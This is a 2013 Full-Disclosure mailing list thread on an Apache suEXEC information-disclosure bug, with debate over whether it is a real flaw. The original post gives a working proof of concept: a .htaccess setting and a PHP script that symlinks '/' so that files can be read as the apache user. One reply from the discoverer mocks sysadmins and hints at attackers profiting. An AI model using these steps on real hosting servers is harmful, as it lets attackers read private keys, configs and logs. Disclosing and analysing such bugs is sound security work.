Kingcope, I think is the same risk if you are whatever user or apache to get to root, so this is a not a big deal. + I do agree with Kingcope this time. However is not specially a bug, but an architecture issue. Is not normal for an user to setuid-read to apache just because a suexecd script is putting a symlink to / root:root owned I did not test deeply this one, I replicated and is working. But just in 10 seconds of thinking, I can see reading issues, from reading SSL key/crt, log files, configs and so on... Yes, this can be "fixed" with proper security. But just because you can change the lock to your car, does not mean the factory should not fix the vulnerable lock. Kingcope, this bug works just to read files, owned by httpd or where everybody else has perms. You can't execute or do any other damage, except data gathering as apache user. Since it breaks the architecture logic, I don't see how Apache will/want to fix this. The only _proper_ way to do this, will be Apache to add the suPHP to Apache, and what I mean is to implement their own suPHP proper, based on the actual web hosting jailing needs. We are in 2013, everybody implements all crazy things and useless options around, but there is still not vhost/user/etc 100% jailing Apache based. -- Dico Emil -----Original Message----- From: Full-Disclosure [mailto:full-disclosure-bounces@xxxxxxxxxxxxxxxxx] On Behalf Of Kingcope Sent: Friday, August 9, 2013 12:33 PM To: full-disclosure@xxxxxxxxxxxxxxxxx; bugtraq@xxxxxxxxxxxxxxxxx Subject: Re: [Full-disclosure] Apache suEXEC privilege elevation / So the blackhat that Sits on ur Site and the site of ur company Since half a year will stop at the point Where its "technically incorrect" and wont escalate to root because "it doesnt have to do Anything with suexec". Its an Old vuln so let it stay , better for us and soon our Data on your boxes. Time to Write a Real Root exploit and dont waste the Time with sysadmins that know how to set a flag in httpd.conf , apache devs included. Am 09.08.2013 um 14:29 schrieb Kingcope <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx>: > So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One. > > Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx>: > >> Apache suEXEC privilege elevation / information disclosure >> >> Discovered by Kingcope/Aug 2013 >> >> The suEXEC feature provides Apache users the ability to run CGI and SSI programs >> under user IDs different from the user ID of the calling web server. Normally, >> when a CGI or SSI program executes, it runs as the same user who is running the >> web server. >> Used properly, this feature can reduce considerably the security risks involved >> with allowing users to develop and run private CGI or SSI programs. >> >> With this bug an attacker who is able to run php or cgi code inside a web >> hosting environment and the environment is configured to use suEXEC as a >> protection mechanism, he/she is able to read any file and directory on the file- >> system of the UNIX/Linux system with the user and group id of the >> apache web server. >> >> Normally php and cgi scripts are not allowed to read files with the apache user- >> id inside a suEXEC configured environment. >> >> Take for example this apache owned file and the php script that follows. >> >> $ ls -la /etc/testapache >> -rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache >> only user www-data should be able to read this file. >> >> $ cat test.php >> <?php >> system("id; cat /etc/testapache"); >> ?> >> >> When calling the php file using a webbrowser it will show... >> uid=1002(example) gid=1002(example) groups=1002(example) >> >> because the php script is run trough suEXEC. >> The script will not output the file requested because of a permissions error. >> >> Now if we create a .htaccess file with the content... >> Options Indexes FollowSymLinks >> >> and a php script with the content... >> >> <?php >> system("ln -sf / test99.php"); >> symlink("/", "test99.php"); // try builtin function in case when >> //system() is blocked >> ?> >> in the same folder >> >> ..we can access the root filesystem with the apache uid,gid by >> requesting test99.php. >> The above php script will simply create a symbolic link to '/'. >> >> A request to test99.php/etc/testapache done with a web browser shows.. >> voila! read with the apache uid/gid >> >> The reason we can now read out any files and traverse directories owned by the >> apache user is because apache httpd displays symlinks and directory listings >> without querying suEXEC. >> It is not possible to write to files in this case. >> >> Version notes. Assumed is that all Apache versions are affected by this bug. >> >> apache2 -V >> Server version: Apache/2.2.22 (Debian) >> Server built: Mar 4 2013 21:32:32 >> Server's Module Magic Number: 20051115:30 >> Server loaded: APR 1.4.6, APR-Util 1.4.1 >> Compiled using: APR 1.4.6, APR-Util 1.4.1 >> Architecture: 32-bit >> Server MPM: Worker >> threaded: yes (fixed thread count) >> forked: yes (variable process count) >> Server compiled with.... >> -D APACHE_MPM_DIR="server/mpm/worker" >> -D APR_HAS_SENDFILE >> -D APR_HAS_MMAP >> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) >> -D APR_USE_SYSVSEM_SERIALIZE >> -D APR_USE_PTHREAD_SERIALIZE >> -D APR_HAS_OTHER_CHILD >> -D AP_HAVE_RELIABLE_PIPED_LOGS >> -D DYNAMIC_MODULE_LIMIT=128 >> -D HTTPD_ROOT="/etc/apache2" >> -D SUEXEC_BIN="/usr/lib/apache2/suexec" >> -D DEFAULT_PIDLOG="/var/run/apache2.pid" >> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" >> -D DEFAULT_ERRORLOG="logs/error_log" >> -D AP_TYPES_CONFIG_FILE="mime.types" >> -D SERVER_CONFIG_FILE="apache2.conf" >> >> Cheers, >> /Kingcope _______________________________________________ Full-Disclosure - We believe in it. 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